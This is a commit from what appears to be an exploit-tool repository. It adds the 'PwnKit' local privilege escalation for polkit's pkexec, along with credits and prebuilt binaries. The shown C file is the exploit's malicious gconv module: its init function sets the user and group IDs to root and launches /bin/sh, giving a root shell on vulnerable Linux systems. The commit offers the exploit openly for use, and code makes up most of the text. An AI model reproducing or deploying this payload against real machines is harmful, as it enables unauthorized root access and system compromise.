TW-D c06fd4aa80
Add "PwnKit Vulnerability" - LPE (#489)
* Add "PwnKit Vulnerability" - LPE

The Qualys Research Team has discovered a memory corruption 
vulnerability in polkit’s pkexec, a SUID-root program that 
is installed by default on every major Linux distribution.

* Add Credits to README.MD

* pwnkit: Move to shorter directory name

* pwnkit: Add compiled version

* pwnkit: Copy built binaries instead of compiling

* make it executable

* add credits

Co-authored-by: Marc <foxtrot@malloc.me>
2022-01-29 17:26:56 +00:00

24 lines
369 B
C

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
char * const ARGUMENTS[] = {
"/bin/sh",
NULL
};
char * const ENVIRONMENT[] = {
"PATH=/bin:/sbin:/usr/bin:/usr/sbin/",
NULL
};
setuid(0);
setgid(0);
execve(ARGUMENTS[0], ARGUMENTS, ENVIRONMENT);
exit(0);
}